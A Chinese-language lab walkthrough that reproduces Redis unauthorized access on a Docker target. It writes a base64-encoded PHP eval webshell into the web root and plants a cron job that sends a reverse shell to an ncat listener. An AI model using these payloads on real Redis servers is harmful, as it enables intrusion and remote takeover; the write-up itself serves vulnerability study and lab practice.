部署环境
环境来源:
Docker一键安装脚本(二选一):
1 | bash <(curl -sL kejilion.sh) docker install |
Docker 部署命令:
1 | docker pull yanglisianthus/redis-unauth-hub |
复现漏洞
用 RedisEXP 工具复现漏洞:https://github.com/yuyan-sec/RedisEXP
写 webshell
1 | RedisEXP_windows_amd64.exe -m shell -r 10.0.0.5 -p 16379 -rp /var/www/html -rf shell.php -s PD9waHAgZXZhbCgkX1JFUVVFU1RbY21kXSk7Pz4= -b |
-m shell: 写webshell-r 10.0.0.5: 目标IP-p 16379: 目标端口-rp /var/www/html: 目标路径-rf shell.php: 目标文件名-s PD9waHAgZXZhbCgkX1JFUVVFU1RbY21kXSk7Pz4=: Webshell内容,base64编码后为-b: 解码base64内容

上图中显示的redis命令,也可以用redis-cli或者navicat等客户端连接工具进行手工复现。
靶机的/var/www/html目录下将生成shell.php文件:

浏览器访问 http://10.0.0.5:10081/shell.php?cmd=phpinfo(); 可以查看靶机的phpinfo信息:

或者用蚁剑连接靶机获取shell:


写定时任务
攻击机用ncat监听9001端口,等待靶机反弹shell:
1 | ncat -lnk 9001 |
攻击机运行攻击命令:
1 | RedisEXP_windows_amd64.exe -m cron -r 10.0.0.5 -p 16379 -L 10.0.100.1 -P 9001 |
-m cron: 写定时任务-r 10.0.0.5: 目标IP-p 16379: 目标端口-L 10.0.100.1: 本机IP-P 9001: 本机端口
运行后每间隔一分钟,靶机就会执行一次定时任务,反弹shell到攻击机:


推荐阅读
- 浅析Linux下Redis的攻击面(一):https://xz.aliyun.com/news/7569
- Redis常见漏洞利用方法总结|Redis未授权访问漏洞利用方式:https://www.ddosi.org/redis-ssh/
























